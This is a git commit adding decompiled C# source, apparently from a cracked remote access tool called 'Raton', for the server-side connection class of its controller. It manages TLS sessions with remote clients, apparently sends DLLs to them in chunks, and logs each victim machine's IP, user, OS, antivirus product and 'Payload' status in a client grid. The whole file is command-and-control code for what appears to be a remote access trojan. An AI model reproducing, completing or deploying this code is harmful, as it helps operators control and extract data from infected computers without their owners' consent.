initial commit
This commit is contained in:
@@ -0,0 +1,369 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Server.Connection.SillyClient
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.Buffers;
|
||||
using System.Collections.Concurrent;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Net.Security;
|
||||
using System.Net.Sockets;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Threading;
|
||||
using System.Threading.Tasks;
|
||||
using WpfApp1;
|
||||
|
||||
#nullable disable
|
||||
namespace Server.Connection;
|
||||
|
||||
public sealed class SillyClient
|
||||
{
|
||||
public const int OneMb = 1048576 /*0x100000*/;
|
||||
public const int MaxPacketSize = 5242880 /*0x500000*/;
|
||||
private const int WorkerCount = 6;
|
||||
private const int QueueCap = 5000;
|
||||
private const int IdleMs = 120000;
|
||||
private const int MaxPPS = 1000;
|
||||
private int pingStarted;
|
||||
private CancellationTokenSource pingCts;
|
||||
private readonly TcpClient tcpClient;
|
||||
private readonly SslStream sslStream;
|
||||
private readonly CancellationTokenSource cts = new CancellationTokenSource();
|
||||
private readonly SemaphoreSlim sendLock = new SemaphoreSlim(1, 1);
|
||||
private readonly byte[] sizeBuf = new byte[4];
|
||||
private readonly Timer idleTimer;
|
||||
private readonly BlockingCollection<byte[]> queue = new BlockingCollection<byte[]>((IProducerConsumerCollection<byte[]>) new ConcurrentQueue<byte[]>(), 5000);
|
||||
private int disconnectedFlag;
|
||||
private int packetsThisSecond;
|
||||
private int rateWindowStart;
|
||||
public readonly ConcurrentDictionary<string, bool> EndSent = new ConcurrentDictionary<string, bool>();
|
||||
public readonly ConcurrentDictionary<string, DateTime> LastChunkSent = new ConcurrentDictionary<string, DateTime>();
|
||||
public readonly ConcurrentDictionary<string, int> RetryCount = new ConcurrentDictionary<string, int>();
|
||||
public readonly ConcurrentDictionary<string, int> ChunksAcked = new ConcurrentDictionary<string, int>();
|
||||
public readonly ConcurrentDictionary<string, int> TotalChunksById = new ConcurrentDictionary<string, int>();
|
||||
public readonly ConcurrentDictionary<string, byte[]> DllBytesById = new ConcurrentDictionary<string, byte[]>();
|
||||
public readonly ConcurrentDictionary<string, string> DllHashById = new ConcurrentDictionary<string, string>();
|
||||
|
||||
public string uid { get; set; }
|
||||
|
||||
public string password { get; set; }
|
||||
|
||||
public ClientRow ClientModel { get; set; }
|
||||
|
||||
public event Action<SillyClient> Disconnected;
|
||||
|
||||
public SillyClient(TcpClient tcp, SslStream ssl)
|
||||
{
|
||||
this.tcpClient = tcp;
|
||||
this.sslStream = ssl;
|
||||
this.tcpClient.NoDelay = true;
|
||||
SillyClient.SetKeepAlive(this.tcpClient.Client, 25000U, 25000U);
|
||||
this.rateWindowStart = Environment.TickCount;
|
||||
this.idleTimer = new Timer((TimerCallback) (_ => this.Disconnect()), (object) null, 120000, -1);
|
||||
Task.Run(new Func<Task>(this.ReceiveLoop));
|
||||
for (int index = 0; index < 6; ++index)
|
||||
Task.Run(new Func<Task>(this.WorkerLoop));
|
||||
}
|
||||
|
||||
public void EnsurePingLoop()
|
||||
{
|
||||
if (Interlocked.Exchange(ref this.pingStarted, 1) != 0)
|
||||
return;
|
||||
this.pingCts = new CancellationTokenSource();
|
||||
Task.Run((Func<Task>) (() => this.PingLoop(this.pingCts.Token)));
|
||||
}
|
||||
|
||||
private async Task PingLoop(CancellationToken token)
|
||||
{
|
||||
try
|
||||
{
|
||||
while (!token.IsCancellationRequested)
|
||||
{
|
||||
ConfiguredTaskAwaitable configuredTaskAwaitable = Task.Delay(20000, token).ConfigureAwait(false);
|
||||
await configuredTaskAwaitable;
|
||||
if (!this.isConnected())
|
||||
break;
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Ping");
|
||||
pack.SetString("Message", "From Server: Hello!");
|
||||
configuredTaskAwaitable = this.Send(pack.Pacc()).ConfigureAwait(false);
|
||||
await configuredTaskAwaitable;
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
finally
|
||||
{
|
||||
Interlocked.Exchange(ref this.pingStarted, 0);
|
||||
}
|
||||
}
|
||||
|
||||
private static void SetKeepAlive(Socket socket, uint timeMs, uint intervalMs)
|
||||
{
|
||||
byte[] optionInValue = new byte[12];
|
||||
BitConverter.GetBytes(1U).CopyTo((Array) optionInValue, 0);
|
||||
BitConverter.GetBytes(timeMs).CopyTo((Array) optionInValue, 4);
|
||||
BitConverter.GetBytes(intervalMs).CopyTo((Array) optionInValue, 8);
|
||||
socket.IOControl(IOControlCode.KeepAliveValues, optionInValue, (byte[]) null);
|
||||
}
|
||||
|
||||
private async Task ReceiveLoop()
|
||||
{
|
||||
SillyClient sillyClient1 = this;
|
||||
try
|
||||
{
|
||||
while (!sillyClient1.cts.IsCancellationRequested)
|
||||
{
|
||||
await sillyClient1.ReadExact(sillyClient1.sizeBuf, 4).ConfigureAwait(false);
|
||||
int len = BitConverter.ToInt32(sillyClient1.sizeBuf, 0);
|
||||
if (len <= 0 || len > 5242880 /*0x500000*/)
|
||||
throw new IOException($"Invalid packet size: {len}");
|
||||
int tickCount = Environment.TickCount;
|
||||
if (tickCount - sillyClient1.rateWindowStart >= 1000)
|
||||
{
|
||||
sillyClient1.rateWindowStart = tickCount;
|
||||
sillyClient1.packetsThisSecond = 0;
|
||||
}
|
||||
SillyClient sillyClient2 = sillyClient1;
|
||||
int num1 = sillyClient1.packetsThisSecond + 1;
|
||||
int num2 = num1;
|
||||
sillyClient2.packetsThisSecond = num2;
|
||||
if (num1 > 1000)
|
||||
throw new IOException("Rate limit exceeded");
|
||||
MainWindow form2 = MainWindow.form2;
|
||||
if (form2 != null)
|
||||
Interlocked.Add(ref form2.received, (long) len);
|
||||
byte[] rented = ArrayPool<byte>.Shared.Rent(len);
|
||||
try
|
||||
{
|
||||
await sillyClient1.ReadExact(rented, len).ConfigureAwait(false);
|
||||
byte[] dst = new byte[len];
|
||||
Buffer.BlockCopy((Array) rented, 0, (Array) dst, 0, len);
|
||||
sillyClient1.idleTimer.Change(120000, -1);
|
||||
if (!sillyClient1.queue.IsAddingCompleted)
|
||||
{
|
||||
if (!sillyClient1.queue.TryAdd(dst, 2000))
|
||||
throw new IOException("Packet queue saturated");
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
ArrayPool<byte>.Shared.Return(rented);
|
||||
}
|
||||
rented = (byte[]) null;
|
||||
}
|
||||
}
|
||||
catch (OperationCanceledException ex)
|
||||
{
|
||||
}
|
||||
catch
|
||||
{
|
||||
await sillyClient1.Disconnect().ConfigureAwait(false);
|
||||
}
|
||||
finally
|
||||
{
|
||||
try
|
||||
{
|
||||
sillyClient1.queue.CompleteAdding();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private Task WorkerLoop()
|
||||
{
|
||||
return Task.Run((Func<Task>) (async () =>
|
||||
{
|
||||
SillyClient sillyClient = this;
|
||||
try
|
||||
{
|
||||
foreach (byte[] consuming in sillyClient.queue.GetConsumingEnumerable(sillyClient.cts.Token))
|
||||
{
|
||||
try
|
||||
{
|
||||
await new HandlePacket()
|
||||
{
|
||||
SillyClient = sillyClient,
|
||||
packet = consuming
|
||||
}.Run((object) null).ConfigureAwait(false);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Console.WriteLine(ex.Message);
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (OperationCanceledException ex)
|
||||
{
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
MainWindow.form2?.AddErrorLog((object) $"Worker fatal ({sillyClient.uid}): {ex.Message}");
|
||||
}
|
||||
}));
|
||||
}
|
||||
|
||||
private async Task ReadExact(byte[] buffer, int length)
|
||||
{
|
||||
int num;
|
||||
using (CancellationTokenSource timeoutCts = new CancellationTokenSource(30000))
|
||||
{
|
||||
using (CancellationTokenSource linked = CancellationTokenSource.CreateLinkedTokenSource(this.cts.Token, timeoutCts.Token))
|
||||
{
|
||||
for (int read = 0; read < length; read += num)
|
||||
{
|
||||
num = await this.sslStream.ReadAsync(buffer, read, length - read, linked.Token).ConfigureAwait(false);
|
||||
if (num <= 0)
|
||||
throw new IOException("Remote endpoint closed");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public async Task Send(byte[] data)
|
||||
{
|
||||
if (this.disconnectedFlag == 1 || data == null || data.Length == 0)
|
||||
return;
|
||||
await this.sendLock.WaitAsync().ConfigureAwait(false);
|
||||
try
|
||||
{
|
||||
using (CancellationTokenSource timeoutCts = new CancellationTokenSource(30000))
|
||||
{
|
||||
using (CancellationTokenSource linked = CancellationTokenSource.CreateLinkedTokenSource(this.cts.Token, timeoutCts.Token))
|
||||
{
|
||||
MainWindow stats = MainWindow.form2;
|
||||
byte[] size = BitConverter.GetBytes(data.Length);
|
||||
await this.sslStream.WriteAsync(size, 0, size.Length, linked.Token).ConfigureAwait(false);
|
||||
if (stats != null)
|
||||
Interlocked.Add(ref stats.sent, (long) size.Length);
|
||||
int chunk;
|
||||
for (int offset = 0; offset < data.Length; offset += chunk)
|
||||
{
|
||||
chunk = Math.Min(65536 /*0x010000*/, data.Length - offset);
|
||||
await this.sslStream.WriteAsync(data, offset, chunk, linked.Token).ConfigureAwait(false);
|
||||
if (stats != null)
|
||||
Interlocked.Add(ref stats.sent, (long) chunk);
|
||||
}
|
||||
stats = (MainWindow) null;
|
||||
size = (byte[]) null;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
await this.Disconnect().ConfigureAwait(false);
|
||||
}
|
||||
finally
|
||||
{
|
||||
this.sendLock.Release();
|
||||
}
|
||||
}
|
||||
|
||||
public Task Disconnect() => this.DisconnectInternal();
|
||||
|
||||
private async Task DisconnectInternal()
|
||||
{
|
||||
SillyClient sillyClient = this;
|
||||
if (Interlocked.Exchange(ref sillyClient.disconnectedFlag, 1) != 0)
|
||||
return;
|
||||
try
|
||||
{
|
||||
sillyClient.pingCts?.Cancel();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
try
|
||||
{
|
||||
sillyClient.idleTimer?.Dispose();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
try
|
||||
{
|
||||
sillyClient.queue.CompleteAdding();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
try
|
||||
{
|
||||
sillyClient.cts.Cancel();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
try
|
||||
{
|
||||
sillyClient.sslStream?.Dispose();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
try
|
||||
{
|
||||
sillyClient.tcpClient?.Dispose();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
await sillyClient.UpdateUI().ConfigureAwait(false);
|
||||
Action<SillyClient> disconnected = sillyClient.Disconnected;
|
||||
if (disconnected == null)
|
||||
return;
|
||||
disconnected(sillyClient);
|
||||
}
|
||||
|
||||
private Task UpdateUI()
|
||||
{
|
||||
MainWindow panel = MainWindow.form2;
|
||||
return panel == null || this.ClientModel == null ? Task.CompletedTask : panel.Dispatcher.InvokeAsync((Action) (() =>
|
||||
{
|
||||
try
|
||||
{
|
||||
ClientStorage.Add(new StoredClient()
|
||||
{
|
||||
UID = this.uid,
|
||||
Password = this.password,
|
||||
IP = this.ClientModel.Client,
|
||||
Group = this.ClientModel.Tag,
|
||||
UserMachine = this.ClientModel.User,
|
||||
OS = this.ClientModel.OS,
|
||||
Version = this.ClientModel.Version,
|
||||
Executing = this.ClientModel.Running,
|
||||
AV = this.ClientModel.AV,
|
||||
Status = this.ClientModel.Status,
|
||||
Clock = this.ClientModel.Date,
|
||||
Payload = this.ClientModel.Payload,
|
||||
Country = (string) null
|
||||
});
|
||||
this.ClientModel.Status = "Disconnected";
|
||||
panel.ClientsGrid.Items.Refresh();
|
||||
panel.AddErrorLog((object) $"Client {this.ClientModel.Client} disconnected");
|
||||
int num1 = panel.Clients.Count<ClientRow>((Func<ClientRow, bool>) (c => c.Status == "Connected"));
|
||||
int num2 = panel.Clients.Count<ClientRow>((Func<ClientRow, bool>) (c => c.Status == "Disconnected"));
|
||||
panel.StatOnline.Text = num1.ToString();
|
||||
panel.StatOffline.Text = num2.ToString();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
})).Task;
|
||||
}
|
||||
|
||||
public bool isConnected()
|
||||
{
|
||||
if (this.disconnectedFlag != 0)
|
||||
return false;
|
||||
TcpClient tcpClient = this.tcpClient;
|
||||
return tcpClient != null && tcpClient.Connected;
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user